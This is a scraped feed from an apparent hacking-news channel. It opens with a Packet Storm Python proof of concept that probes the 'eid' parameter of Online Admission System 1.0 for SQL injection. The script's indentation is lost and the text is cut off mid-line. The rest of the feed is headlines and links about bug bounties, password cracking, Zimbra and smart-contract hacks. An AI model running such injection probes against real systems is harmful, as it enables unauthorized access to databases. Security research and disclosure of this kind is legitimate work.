Exploit Collector
Online Admission System 1.0 SQL Injection

https://4.bp.blogspot.com/-our8kmhncnY/WWlvTk7Dk6I/AAAAAAAAINs/ofoeVvTLCzkScTt1I86TmBZptlym-DdFACLcBGAs/s1600/h42.png
Online Admission System version 1.0 suffers from a remote SQL injection vulnerability.

SHA-256 | 9f6552806e7f79bf6438a86513e24999dcff366eebb104a253377d13284fc82e

Download
# Exploit Title: online-admission-system 1.0 - unauthenticated SQL Injection
# Date: 5-08-2022
# Exploit Author: syad
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/15514/online-admission-system-php-and-mysql.html
# Version: 1.0
# Tested on: Windows 10 + XAMPP 3.2.4
# CVE ID : N/A

# Description
# The eid parameter does not perform input validation on the edit.php file it allow unauthenticated SQL Injection
import requests
import sys

proxies = {"https": "https://127.0.0.1:8080", "http": "http://127.0.0.1:8080"}

def send_request(ip):
x = "http://%s/Student-Admission_0/Student-Admission/?a=edit&eid=8'" %ip
z = requests.get(x,proxies=proxies)
if "You have an error in your SQL syntax" in z.text:
print("[+] Found Sql Injection")
if __name__ == "__main__":
try:
ip = sys.argv[1].strip()

except IndexError:
print("[-] Usage %s
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Zimbra UnRAR Path Traversal

___________________________
@hacking_Attack
@Hacking_Video

Hacking a company from a phone
https://medium.com/@toxglot/hacking-a-company-from-a-phone-478bbfed04c8?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

This story is a tale from my job around being able to fully compromise a server whilst only having my phone accessible to me.Continue reading on Medium » (https://medium.com/@toxglot/hacking-a-company-from-a-phone-478bbfed04c8?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Automate SQLiDetector Hacking Tool

completely automate SQLI-Injection detector hacking toolContinue reading on Medium »
Read more...

Automate SQLiDetector Hacking Tool
https://medium.com/@arshiadev/automate-sqlidetector-hacking-tool-f8a51e05cc8b?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

completely automate SQLI-Injection detector hacking toolContinue reading on Medium » (https://medium.com/@arshiadev/automate-sqlidetector-hacking-tool-f8a51e05cc8b?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Three Sentenced for Operating the “Reboot” Store on Hydra

https://external-preview.redd.it/CWYN4sIyJXcjX3UPztgpu3g6PEoa0Ixe_etbdm4t2H0.jpg?width=640&crop=smart&auto=webp&s=9778b8aaa007f6e6cdb11f36c98db799e00891f3 submitted by /u/kirby__000
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Ethereum Akıllı Sözleşmelerinde Tam Sayı Taşmasını Önleyin

https://cdn-images-1.medium.com/max/871/1*xwLrSmLCYqaFRnDC8133hA.png
Akıllı sözleşmelerden para çalmaya yönelik hacker saldırılarının çoğunun Tamsayı Taşması adı verilen bir tür hataya dayandığını biliyor…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
CISA agrega la vulnerabilidad de correo electrónico de Zimbra a su catálogo de vulnerabilidades…

https://cdn-images-1.medium.com/max/1547/0*679Rq9dZMSxhTcgY
PUBLICADO EN 5 AGOSTO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
O Hack Multi-sig: A autópsia

Na quarta-feira, 19 de julho de 2017, um bug encontrado no código da carteira multi-assinatura (“multi-sig”) usado como parte do software…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
John the Ripper not working with subprocess

I am trying to use jtr to crack some passwords and I am running it through the subprocess command in python. It says that it cracked the password but when I try to look in the .pot file it says that no hashes were cracked.
password = subprocess.run(['/home/*user*/john-1.9.0-jumbo-1/run/john', mask, '/home/*user*/hashed_password.txt'])
submitted by /u/Musskky
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
HowTo: Crash a mac with one command

submitted by /u/CA_Pilot
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video